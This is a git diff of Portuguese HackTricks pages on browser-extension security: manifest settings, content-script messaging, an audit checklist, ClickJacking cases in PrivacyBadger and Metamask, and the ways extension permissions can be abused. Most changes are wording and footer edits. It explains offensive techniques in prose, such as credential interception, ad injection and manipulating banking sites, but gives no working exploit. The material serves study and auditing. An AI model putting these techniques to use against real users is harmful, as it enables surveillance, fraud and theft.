[browext-permissions-and-host\_permissions.md](browext-permissions-and-host\_permissions.md)
@ -291,13 +291,13 @@ Verifique como essas configurações funcionam e como podem ser abusadas em:
### `content_security_policy`
Uma **política de segurança de conteúdo** também pode ser declarada dentro do `manifest.json`. Se uma estiver definida, ela poderia ser **vulnerável**.
Uma **política de segurança de conteúdo** também pode ser declarada dentro do `manifest.json`. Se houver uma definida, ela poderia ser **vulnerável**.
A configuração padrão para páginas de extensão do navegador é bastante restritiva:
```bash
script-src 'self'; object-src 'self';
```
Para obter mais informações sobre CSP e possíveis formas de contorná-lo, consulte:
Para obter mais informações sobre CSP e possíveis formas de contorná-lo, verifique:
{% content-ref url="../content-security-policy-csp-bypass/" %}
[content-security-policy-csp-bypass](../content-security-policy-csp-bypass/)
@ -305,7 +305,7 @@ Para obter mais informações sobre CSP e possíveis formas de contorná-lo, con
### `web_accessible_resources`
para que uma página da web acesse uma página de uma Extensão do Navegador, por exemplo, uma página `.html`, essa página precisa ser mencionada no campo **`web_accessible_resources`** do `manifest.json`.\
para que uma página da web acesse uma página de uma Extensão do Navegador, uma página `.html`, por exemplo, essa página precisa ser mencionada no campo **`web_accessible_resources`** do `manifest.json`.\
Por exemplo:
```javascript
{
@ -367,7 +367,7 @@ Portanto, este é um **bypass muito poderoso**.
## Comunicação Web **↔︎** Content Script
Os ambientes onde os **scripts de conteúdo** operam e onde as páginas hospedeiras existem estão **separados** um do outro, garantindo **isolamento**. Apesar desse isolamento, ambos têm a capacidade de interagir com o **Modelo de Objeto de Documento (DOM)** da página, um recurso compartilhado. Para que a página hospedeira se comunique com o **script de conteúdo**, ou indiretamente com a extensão através do script de conteúdo, é necessário utilizar o **DOM** que é acessível por ambas as partes como canal de comunicação.
Os ambientes onde os **scripts de conteúdo** operam e onde as páginas hospedeiras existem estão **separados** um do outro, garantindo **isolamento**. Apesar desse isolamento, ambos têm a capacidade de interagir com o **Modelo de Objeto de Documento (DOM)** da página, um recurso compartilhado. Para que a página hospedeira se comunique com o **content script**, ou indiretamente com a extensão por meio do content script, é necessário utilizar o **DOM** que é acessível por ambas as partes como canal de comunicação.
### Mensagens de Postagem
@ -442,7 +442,7 @@ Claro, **não coloque informações sensíveis no código**, pois será **públi
Um Content Script pode usar as funções [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **ou** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) para enviar uma mensagem **serializável em JSON** de uma vez.
Para lidar com a **resposta**, use a **Promise** retornada. Embora, para compatibilidade com versões anteriores, ainda seja possível passar um **callback** como último argumento.
Para lidar com a **resposta**, use a **Promise** retornada. No entanto, para compatibilidade com versões anteriores, ainda é possível passar um **callback** como último argumento.
Enviar uma solicitação de um **script de conteúdo** parece com isso:
```javascript
@ -477,7 +477,7 @@ sendResponse({farewell: "goodbye"});
```
No exemplo destacado, **`sendResponse()`** foi executado de forma síncrona. Para modificar o manipulador de eventos `onMessage` para execução assíncrona de `sendResponse()`, é imperativo incorporar `return true;`.
Uma consideração importante é que em cenários onde várias páginas estão configuradas para receber eventos `onMessage`, **a primeira página a executar `sendResponse()`** para um evento específico será a única capaz de entregar a resposta efetivamente. Quaisquer respostas subsequentes ao mesmo evento não serão consideradas.
Uma consideração importante é que em cenários onde várias páginas estão configuradas para receber eventos `onMessage`, **a primeira página a executar `sendResponse()`** para um evento específico será a única capaz de entregar a resposta de forma eficaz. Quaisquer respostas subsequentes ao mesmo evento não serão consideradas.
Ao criar novas extensões, a preferência deve ser para promessas em vez de callbacks. Em relação ao uso de callbacks, a função `sendResponse()` é considerada válida apenas se for executada diretamente no contexto síncrono, ou se o manipulador de eventos indicar uma operação assíncrona retornando `true`. Caso nenhum dos manipuladores retorne `true` ou se a função `sendResponse()` for removida da memória (coletada pelo garbage collector), o callback associado à função `sendMessage()` será acionado por padrão.
@ -492,7 +492,7 @@ No **Firefox**, acesse **`about:debugging#/runtime/this-firefox`** e clique no b
## Obtendo o código-fonte da loja
O código-fonte de uma extensão do Chrome pode ser obtido por vários métodos. Abaixo estão explicações detalhadas e instruções para cada opção.
O código-fonte de uma extensão do Chrome pode ser obtido por meio de vários métodos. Abaixo estão explicações detalhadas e instruções para cada opção.
### Baixar Extensão como ZIP via Linha de Comando
@ -515,7 +515,7 @@ Outro método conveniente é usar o Chrome Extension Source Viewer, que é um pr
### Visualizar o código-fonte de uma extensão instalada localmente
Extensões do Chrome instaladas localmente também podem ser inspecionadas. Veja como:
As extensões do Chrome instaladas localmente também podem ser inspecionadas. Veja como:
1. Acesse o diretório do perfil local do Chrome visitando `chrome://version/` e localizando o campo "Profile Path".
2. Navegue até a subpasta `Extensions/` dentro do diretório do perfil.
@ -540,7 +540,7 @@ Isso não baixa o código-fonte, mas é útil para visualizar e modificar o cód
## Lista de Verificação de Auditoria de Segurança
Embora as Extensões do Navegador tenham uma **superfície de ataque limitada**, algumas delas podem conter **vulnerabilidades** ou **melhorias de fortalecimento potenciais**. As mais comuns são:
Embora as Extensões do Navegador tenham uma **superfície de ataque limitada**, algumas delas podem conter **vulnerabilidades** ou **melhorias potenciais de fortalecimento**. As mais comuns são:
* [ ] **Limitar** o máximo possível as **`permissões`** solicitadas
* [ ] **Limitar** o máximo possível as **`host_permissions`**
@ -549,10 +549,10 @@ Embora as Extensões do Navegador tenham uma **superfície de ataque limitada**,
* [ ] Se uma **URL vulnerável a XSS ou a takeover** for mencionada aqui, um atacante poderá **enviar mensagens diretamente aos scripts de segundo plano**. Um bypass muito poderoso.
* [ ] **Limitar** o máximo possível os **`web_accessible_resources`**, mesmo vazio, se possível.
* [ ] Se **`web_accessible_resources`** não for nenhum, verifique o [**ClickJacking**](browext-clickjacking.md)
* [ ] Se houver **comunicação** da **extensão** para a **página da web**, [**verifique XSS**](browext-xss-example.md) **vulnerabilidades** causadas na comunicação.
* [ ] Se Post Messages forem usados, verifique as [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.**
* [ ] Se o **Content Script acessar detalhes do DOM**, verifique se eles **não estão introduzindo um XSS** se forem **modificados** pela web
* [ ] Faça um destaque especial se essa comunicação também estiver envolvida na **comunicação do Content Script -> Background script**
* [ ] Se houver alguma **comunicação** da **extensão** para a **página da web**, [**verifique XSS**](browext-xss-example.md) **vulnerabilidades** causadas na comunicação.
* [ ] Se Post Messages forem usados, verifique [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.**
* [ ] Se o **Script de Conteúdo acessar detalhes do DOM**, verifique se eles **não estão introduzindo um XSS** se forem **modificados** pela web
* [ ] Faça um destaque especial se essa comunicação também estiver envolvida na **comunicação do Script de Conteúdo -> Script de Segundo Plano**
* **Informações sensíveis não devem ser armazenadas** dentro do código da Extensão do Navegador
* **Informações sensíveis não devem ser armazenadas** na memória da Extensão do Navegador
@ -567,14 +567,14 @@ Embora as Extensões do Navegador tenham uma **superfície de ataque limitada**,
* Visualizador de Aviso(s) de Permissão: que mostra uma lista de todos os avisos de permissão do Chrome que serão exibidos ao usuário ao tentar instalar a extensão.
* Função(ões) Perigosa(s): mostra a localização de funções perigosas que poderiam ser potencialmente exploradas por um atacante (por exemplo, funções como innerHTML, chrome.tabs.executeScript).
* Ponto(s) de Entrada: mostra onde a extensão recebe entrada do usuário/externa. Isso é útil para entender a área de superfície de uma extensão e procurar pontos potenciais para enviar dados maliciosamente criados para a extensão.
* Tanto as scanners de Função(s) Perigosa(s) quanto de Ponto(s) de Entrada têm o seguinte para seus alertas gerados:
* Tanto as Função(ões) Perigosa(s) quanto os scanners de Ponto(s) de Entrada têm o seguinte para seus alertas gerados:
* Trecho de código relevante e linha que causou o alerta.
* Descrição do problema.
* Um botão "Visualizar Arquivo" para visualizar o arquivo de origem completo contendo o código.
* O caminho do arquivo alertado.
* O URI completo da extensão do Chrome do arquivo alertado.
* O tipo de arquivo que é, como um script de Página de Fundo, Script de Conteúdo, Ação do Navegador, etc.
* Se a linha vulnerável estiver em um arquivo JavaScript, os caminhos de todas as páginas onde ele está incluído, bem como o status de [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) dessas páginas.
* Se a linha vulnerável estiver em um arquivo JavaScript, os caminhos de todas as páginas onde ele está incluído, bem como o tipo dessas páginas e o status de [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources).
* Analisador de Política de Segurança de Conteúdo (CSP) e verificador de bypass: Isso apontará fraquezas na CSP da sua extensão e também iluminará quaisquer maneiras potenciais de contornar sua CSP devido a CDNs na lista branca, etc.
* Bibliotecas Vulneráveis Conhecidas: Isso usa [Retire.js](https://retirejs.github.io/retire.js/) para verificar qualquer uso de bibliotecas JavaScript conhecidas como vulneráveis.
* Baixar extensão e versões formatadas.
@ -609,7 +609,7 @@ Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -6,17 +6,17 @@
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## Informações Básicas
Esta página vai explorar uma vulnerabilidade de ClickJacking em uma extensão do navegador.\
Esta página vai abusar de uma vulnerabilidade de ClickJacking em uma extensão do navegador.\
Se você não sabe o que é ClickJacking, confira:
{% content-ref url="../clickjacking.md" %}
@ -44,7 +44,7 @@ Na extensão PrivacyBadger, foi identificada uma vulnerabilidade relacionada ao
"icons/*"
]
```
Esta configuração levou a um problema de segurança potencial. Especificamente, o arquivo `skin/popup.html`, que é renderizado ao interagir com o ícone do PrivacyBadger no navegador, poderia ser incorporado dentro de um `iframe`. Essa incorporação poderia ser explorada para enganar os usuários a clicar inadvertidamente em "Desativar o PrivacyBadger para este Site". Tal ação comprometeria a privacidade do usuário ao desativar a proteção do PrivacyBadger e potencialmente sujeitar o usuário a um rastreamento aumentado. Uma demonstração visual desse exploit pode ser vista em um exemplo de vídeo de ClickJacking fornecido em [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
Esta configuração levou a um problema de segurança potencial. Especificamente, o arquivo `skin/popup.html`, que é renderizado ao interagir com o ícone do PrivacyBadger no navegador, poderia ser incorporado em um `iframe`. Essa incorporação poderia ser explorada para enganar os usuários a clicar inadvertidamente em "Desativar o PrivacyBadger para este Site". Tal ação comprometeria a privacidade do usuário ao desativar a proteção do PrivacyBadger e potencialmente expor o usuário a um rastreamento aumentado. Uma demonstração visual desse exploit pode ser vista em um exemplo de vídeo de ClickJacking fornecido em [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
Para resolver essa vulnerabilidade, uma solução direta foi implementada: a remoção de `/skin/*` da lista de `web_accessible_resources`. Essa alteração mitigou efetivamente o risco, garantindo que o conteúdo do diretório `skin/` não pudesse ser acessado ou manipulado por meio de recursos acessíveis pela web.
@ -95,7 +95,7 @@ Um [**post de blog sobre um ClickJacking no Metamask pode ser encontrado aqui**]
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
**Outro ClickJacking corrigido** na extensão do Metamask foi que os usuários podiam **Clicar para autorizar** quando uma página era suspeita de ser phishing por causa de `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Como essa página era vulnerável ao Clickjacking, um atacante poderia abusar dela mostrando algo normal para fazer a vítima clicar para autorizar sem perceber, e depois voltar para a página de phishing que seria autorizada.
**Outro ClickJacking corrigido** na extensão do Metamask foi que os usuários podiam **Clicar para autorizar** quando uma página suspeita de phishing por causa de `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Como essa página era vulnerável ao Clickjacking, um atacante poderia abusar dela mostrando algo normal para fazer a vítima clicar para autorizar sem perceber, e depois voltar para a página de phishing que seria autorizada.
## Exemplo do Steam Inventory Helper
@ -112,14 +112,14 @@ Verifique a seguinte página para ver como um **XSS** em uma extensão do navega
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -30,7 +30,7 @@ Você pode encontrar a [**lista completa de permissões que uma Extensão do Nav
### `host_permissions`
A configuração opcional, mas poderosa, **`host_permissions`** indica com quais hosts a extensão será capaz de interagir por meio de APIs como [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest) e [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
A configuração opcional, mas poderosa, **`host_permissions`** indica com quais hosts a extensão será capaz de interagir via APIs como [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest) e [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
As seguintes `host_permissions` basicamente permitem todo o web:
```json
@ -65,32 +65,32 @@ Além disso, ouvintes como [**tabs.onUpdated**](https://developer.mozilla.org/en
Scripts de conteúdo não precisam ser necessariamente escritos estaticamente no manifesto da extensão. Com permissões **`host_permissions`** suficientes, **as extensões também podem carregá-los dinamicamente chamando** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **ou** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript).
Ambas as APIs permitem a execução não apenas de arquivos contidos nas extensões como scripts de conteúdo, mas também **código arbitrário**. A primeira permite passar código JavaScript como uma string, enquanto a segunda espera uma função JavaScript que é menos suscetível a vulnerabilidades de injeção. Ainda assim, ambas as APIs causarão estragos se forem mal utilizadas.
Ambas as APIs permitem a execução não apenas de arquivos contidos na extensão como scripts de conteúdo, mas também **código arbitrário**. A primeira permite passar código JavaScript como uma string, enquanto a segunda espera uma função JavaScript que é menos propensa a vulnerabilidades de injeção. Ainda assim, ambas as APIs causarão estragos se forem mal utilizadas.
{% hint style="danger" %}
Além das capacidades acima, scripts de conteúdo poderiam, por exemplo, **interceptar credenciais** à medida que são inseridas em páginas da web. Uma maneira clássica de abusá-los é **injetar publicidade** em cada site. Adicionar **mensagens de golpe** para abusar da credibilidade de sites de notícias também é possível. Por fim, eles poderiam **manipular** sites de **bancos** para redirecionar transferências de dinheiro.
Além das capacidades acima, scripts de conteúdo poderiam, por exemplo, **interceptar credenciais** à medida que são inseridas nas páginas da web. Uma maneira clássica de abusá-los é **injetar publicidade** em cada site. Adicionar **mensagens de golpe** para abusar da credibilidade de sites de notícias também é possível. Por fim, eles poderiam **manipular sites de bancos** para redirecionar transferências de dinheiro.
{% endhint %}
### Privilégios implícitos <a href="#implicit-privileges" id="implicit-privileges"></a>
Alguns privilégios de extensão **não precisam ser declarados explicitamente**. Um exemplo é a [API de abas](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): sua funcionalidade básica é acessível sem nenhum privilégio. Qualquer extensão pode ser notificada quando você abre e fecha abas, ela simplesmente não saberá com qual site essas abas correspondem.
Alguns privilégios de extensão **não precisam ser declarados explicitamente**. Um exemplo é a [API de abas](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): sua funcionalidade básica é acessível sem nenhum privilégio. Qualquer extensão pode ser notificada quando você abre e fecha abas, apenas não saberá com quais sites essas abas correspondem.
Parece inofensivo demais? A [API tabs.create()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) é um pouco menos. Ela pode ser usada para **criar uma nova aba**, essencialmente o mesmo que [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) que pode ser chamado por qualquer site. No entanto, enquanto `window.open()` está sujeito ao **bloqueador de pop-ups, `tabs.create()` não está**.
Parece inofensivo? A [API tabs.create()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) é um pouco menos. Ela pode ser usada para **criar uma nova aba**, essencialmente o mesmo que [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) que pode ser chamado por qualquer site. No entanto, enquanto `window.open()` está sujeito ao **bloqueador de pop-ups, `tabs.create()` não está**.
{% hint style="danger" %}
Uma extensão pode criar qualquer número de abas sempre que desejar.
{% endhint %}
Se você examinar os possíveis parâmetros de `tabs.create()`, também notará que suas capacidades vão muito além do que `window.open()` é permitido controlar. E enquanto o Firefox não permite que URIs `data:` sejam usados com esta API, o Chrome não tem essa proteção. **O uso desses URIs no nível superior foi** [**proibido devido a serem abusados para phishing**](https://bugzilla.mozilla.org/show\_bug.cgi?id=1331351)**.**
Se você olhar através dos possíveis parâmetros de `tabs.create()`, também notará que suas capacidades vão muito além do que `window.open()` é permitido controlar. E enquanto o Firefox não permite que URIs `data:` sejam usados com esta API, o Chrome não tem essa proteção. **O uso desses URIs no nível superior foi** [**proibido por ser abusado para phishing**](https://bugzilla.mozilla.org/show\_bug.cgi?id=1331351)**.**
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) é muito semelhante a `tabs.create()` mas irá **modificar uma aba existente**. Portanto, uma extensão maliciosa pode, por exemplo, carregar arbitrariamente uma página de publicidade em uma de suas abas e também pode ativar a aba correspondente.
### Webcam, geolocalização e amigos <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
Você provavelmente sabe que os sites podem solicitar permissões especiais, por exemplo, para acessar sua webcam (ferramentas de videoconferência) ou localização geográfica (mapas). São recursos com potencial considerável para abuso, então os usuários precisam confirmar isso sempre que solicitado.
Você provavelmente sabe que os sites podem solicitar permissões especiais, por exemplo, para acessar sua webcam (ferramentas de videoconferência) ou localização geográfica (mapas). São recursos com potencial considerável para abuso, então os usuários precisam confirmar isso a cada vez.
{% hint style="danger" %}
Não é assim com as extensões do navegador. **Se uma extensão do navegador** [**deseja acessar sua webcam ou microfone**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, ela só precisa pedir permissão uma vez**
Não é assim com as extensões do navegador. **Se uma extensão do navegador** [**quer acesso à sua webcam ou microfone**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, ela só precisa pedir permissão uma vez**
{% endhint %}
Normalmente, uma extensão fará isso imediatamente após ser instalada. Uma vez que este prompt é aceito, **o acesso à webcam é possível a qualquer momento**, mesmo que o usuário não esteja interagindo com a extensão neste momento. Sim, um usuário só aceitará este prompt se a extensão realmente precisar de acesso à webcam. Mas depois disso, eles têm que confiar na extensão para não gravar nada secretamente.
@ -99,7 +99,7 @@ Com acesso à [sua localização geográfica exata](https://developer.mozilla.or
Adicionar a palavra-chave **`history`** à [entrada de permissões](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) do manifesto da extensão concede **acesso à** [**API de histórico**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Isso permite recuperar todo o histórico de navegação do usuário de uma só vez, sem esperar que o usuário visite esses sites novamente.
A **permissão `bookmarks`** tem potencial de abuso semelhante, esta permite **ler todos os favoritos via** [**API de favoritos**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
A **permissão `bookmarks`** tem um potencial de abuso semelhante, esta permite **ler todos os favoritos via** [**API de favoritos**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
### Permissão de armazenamento <a href="#the-storage-permission" id="the-storage-permission"></a>
@ -113,11 +113,11 @@ Você pode encontrar a [**lista completa de permissões que uma Extensão de Nav
## Prevenção <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
A política do desenvolvedor do Google proíbe explicitamente as extensões de solicitar mais privilégios do que o necessário para sua funcionalidade, mitigando efetivamente solicitações excessivas de permissão. Um caso em que uma extensão do navegador ultrapassou esse limite envolveu sua distribuição com o próprio navegador, em vez de através de uma loja de complementos.
A política do desenvolvedor do Google proíbe explicitamente as extensões de solicitar mais privilégios do que o necessário para sua funcionalidade, mitigando efetivamente solicitações excessivas de permissão. Um caso em que uma extensão do navegador ultrapassou esse limite envolveu sua distribuição com o próprio navegador em vez de através de uma loja de complementos.
Os navegadores poderiam ainda reduzir o uso indevido de privilégios de extensão. Por exemplo, as APIs [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) e [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) do Chrome, usadas para gravação de tela, são projetadas para minimizar abusos. A API tabCapture só pode ser ativada por meio de interação direta do usuário, como clicar no ícone da extensão, enquanto desktopCapture requer confirmação do usuário para que a janela seja gravada, impedindo atividades de gravação clandestinas.
Os navegadores poderiam ainda reduzir o uso indevido dos privilégios da extensão. Por exemplo, as APIs [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) e [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) do Chrome, usadas para gravação de tela, são projetadas para minimizar o abuso. A API tabCapture só pode ser ativada por meio de interação direta do usuário, como clicar no ícone da extensão, enquanto o desktopCapture requer confirmação do usuário para a janela ser gravada, impedindo atividades de gravação clandestinas.
No entanto, o fortalecimento das medidas de segurança muitas vezes resulta em uma diminuição da flexibilidade e da facilidade de uso das extensões. A [permissão activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ilustra esse compromisso. Foi introduzida para eliminar a necessidade de as extensões solicitarem privilégios de host em toda a internet, permitindo que as extensões acessem apenas a aba atual mediante ativação explícita pelo usuário. Esse modelo é eficaz para extensões que requerem ações iniciadas pelo usuário, mas é insuficiente para aquelas que exigem ações automáticas ou preventivas, comprometendo assim a conveniência e a capacidade de resposta imediata.
No entanto, o aumento das medidas de segurança muitas vezes resulta em uma diminuição da flexibilidade e da facilidade de uso das extensões. A [permissão activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ilustra esse compromisso. Foi introduzida para eliminar a necessidade de as extensões solicitarem privilégios de host em toda a internet, permitindo que as extensões acessem apenas a aba atual mediante ativação explícita pelo usuário. Esse modelo é eficaz para extensões que requerem ações iniciadas pelo usuário, mas é insuficiente para aquelas que exigem ações automáticas ou preventivas, comprometendo assim a conveniência e a capacidade de resposta imediata.
## **Referências**
@ -133,7 +133,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
